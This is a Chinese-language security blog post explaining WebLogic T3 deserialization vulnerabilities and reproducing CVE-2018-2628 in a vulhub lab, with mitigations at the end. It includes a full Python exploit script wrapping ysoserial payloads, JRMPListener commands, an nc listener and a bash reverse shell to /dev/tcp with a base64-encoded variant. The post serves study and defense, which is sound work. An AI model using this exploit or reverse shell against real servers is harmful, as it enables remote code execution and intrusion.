- 前言
- T3协议概述
- T3反序列漏洞分析
- 漏洞复现
- 修复措施
前言
WebLogic的反序列化漏洞是一个经典的漏洞系列，原因就在于WebLogic在通信过程中使用T3协议传输数据，涉及到了序列化和反序列化操作。
T3协议概述
T3协议是Oracle的私有协议，所以公开的相关资料比较少，这里结合其他师傅的博客简单对T3协议进行一个简要分析。
T3协议是WebLogic的一种专有通信协议，在Weblogic中的RMI通信是使用T3协议实现的（一般的RMI通信使用的是JRMP协议）。
在T3协议中协议协商的协商阶段，会发送一个请求包头（handshake）用来表明这是一个T3协议，它负责定义数据包的基本结构和传输协议的版本信息。
客户端会首先发送下面的信息给weblogic服务器：
t3 12.2.3
AS:255
HL:19
nMS:10000000
使用Python模拟发送一个请求包的头：
import sockethandshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
ip = "192.168.88.150"
port = 7001sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
sock.sendall(handshake.encode())
data = sock.recv(1024)
Wireshark对它进行抓包：
可以看到服务器接收到信息后，会回复类似的消息：
HELO:12.2.1.3.false
AS:2048
HL:19
MS:10000000
PN:DOMAIN
响应包头中HELO后面的内容是被连接的weblogic的版本号12.2.1.3。通信双方根据对方发来的协议协商信息，开始建立连接。
再协商完毕上面的信息后，客户端会向服务端发送自己的详细信息，这是一段二进制数据。在这段二进制流的前4bytes标识了本次请求的数据长度，然后直到遇到aced 0005序列化数据的标识之前，这部分内容被称为PeerInfo。
以这个PoC脚本（ https://www.exploit-db.com/exploits/44553 ）请求数据包为例：
在aced 0005之后的就是实际传输的序列化数据。
关于T3协议更加详细的分析可以看这位师傅的博客：https://www.cnblogs.com/unicodeSec/p/14378757.html
T3反序列漏洞分析
前面提到WebLogic的RMI是通过T3协议实现的，在T3协议的传输过程中同样会进行序列化和反序列化的操作，所以说T3的反序列漏洞和RMI的反序列漏洞的原理几乎是一致的。
大部分的WebLogic的利用脚本都是使用python编写的，比如上面提到的那个PoC脚本。基本的思路都是替换WebLogic T3协议流中aced 0005部分为恶意的序列化数据来实现反序列化攻击。其实也就就是把ysoserial生成的Payload变成T3协议里的数据格式。
除了由 Exploit Database 提供的利用脚本，还有国内其他师傅写的脚本：
import socket
import sys
import struct
import re
import subprocess
import binasciidef get_payload1(gadget, command):JAR_FILE = './ysoserial.jar'popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)return popen.stdout.read()def get_payload2(path):with open(path, "rb") as f:return f.read()def exp(host, port, payload):sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect((host, port))handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n".encode()sock.sendall(handshake)data = sock.recv(1024)pattern = re.compile(r"HELO:(.*).false")version = re.findall(pattern, data.decode())if len(version) == 0:print("Not Weblogic")returnprint("Weblogic {}".format(version[0]))data_len = binascii.a2b_hex(b"00000000") #数据包长度，先占位，后面会根据实际情况重新t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006") #t3协议头flag = binascii.a2b_hex(b"fe010000") #反序列化数据标志payload = data_len + t3header + flag + payloadpayload = struct.pack('>I', len(payload)) + payload[4:] #重新计算数据包长度sock.send(payload)if __name__ == "__main__":host = "192.168.1.40"port = 7001gadget = "Jdk7u21" #CommonsCollections1 Jdk7u21command = "touch /tmp/CVE-2015-4852"payload = get_payload1(gadget, command)exp(host, port, payload)
原理都是一样的，把生成的Payload替换掉原来的序列化的部分，但要保证T3协议格式仍然正确。
造成反序列漏洞的原因一般都是readObject方法在进行反序列化操作出现了问题，T3协议的反序列漏洞也不例外。T3协议接收过来的数据会在weblogic.rjvm.InboundMsgAbbrev#readObject这里进行反序列化操作。
借一张其他师傅博客的图：
中间的调用过程先不谈，导致的漏洞产生的直接原因就是在resolveClass方法中也没做任何的校验。
这个resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。resolveClass没有任何校验的话，就意味着它会获取任意的类的Class对象，这就有了可乘之机，可以轻易获取我们恶意的类的Class对象，从而造成反序列漏洞。
T3协议的利用最早可以追溯到2015的CVE-2015-4582，漏洞存在于Commons-Collections这个库的CC链1的利用。到后来的CVE-2016-0638和CVE-2016-3510都也很类似。
到17年之后的漏洞开始通过构造JRMP服务器监听的方法反向触发，比如第一个CVE-2017-3248，到后来的CVE-2018-2628它对上一个的绕过，之后还有CVE-2020-2555，CVE-2020-2883等漏洞。
漏洞复现
这里使用vulhub的CVE-2018-2628环境来复现T3协议反序列化命令执行漏洞。
影响版本： Weblogic 10.3.6.0、12.1.3.0、12.2.1.2、12.2.1.3
环境搭建：使用 vulhub 搭建
cd /vulhub/weblogic/CVE-2018-2628
docker compose up -d
通过nmap可以探测Weblogic的T3协议是否启用，以及版本号：
利用 ysoserial 的攻击流程都大同小异，首先使用JRMPListener开启一个JRMP服务监听，利用链这里选择CC1链。
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "touch /tmp/success-cve-2018-2628"
利用 exp 脚本（python2脚本，python3运行报错），向目标Weblogic发送Payload：
python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient# 192.168.88.150 是靶机IP，7001是Weblogic端口
exp执行完成后，靶机回连本地JRMP服务，JRMP服务端收到请求：
执行docker compose exec weblogic bash进入容器中，可见文件已成功创建：
除了RCE，还有反弹shell都是类似的操作。
首先，在kali中通过 nc 监听本地端口：
nc -lvvp 12345
接着准备反弹shell的代码：
bash -i >& /dev/tcp/192.168.88.128/12345 0>&1
由于Runtime.getRuntime().exec()中不能使用重定向和管道符，这里需要对其进行base64编码再使用：
"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"
本地开启JRMP监听，监听本地2333端口，利用链依然使用CC1链：
java -cp ysoserial-master-SNAPSHOT.jar ysoserial.exploit.JRMPListener 2333 CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg4LjEyOC8xMjM0NSAgIDA+JjE=}|{base64,-d}|{bash,-i}"
利用 exp 脚本，向目标Weblogic发送Payload：
python2 CVE-2018-2628.py 192.168.88.150 7001 ysoserial-master-SNAPSHOT.jar 192.168.88.128 2333 JRMPClient
exp 脚本执行完成后，反弹shell成功：
修复措施
-
关闭T3服务：如果Weblogic控制台端口（默认为7001端口）开放，T3服务会默认开启。关闭T3服务或控制T3服务的访问权限可以防护该漏洞。
-
更新补丁：应用Oracle官方发布的最新补丁，并升级JDK至1.7.0.21以上版本。
-
更改代码：如果无法应用补丁或更新JDK，可以考虑更改代码，例如在黑名单中添加特定的类名，以阻断漏洞利用。
参考文章：
https://www.cnblogs.com/nice0e3/p/14201884.html#漏洞复现
https://xz.aliyun.com/t/10365
https://xz.aliyun.com/t/8073
http://drops.xmd5.com/static/drops/web-13470.html
https://www.cnblogs.com/unicodeSec/p/14378757.html
https://www.freebuf.com/vuls/229140.html
若有错误，欢迎指正！o(￣▽￣)ブ
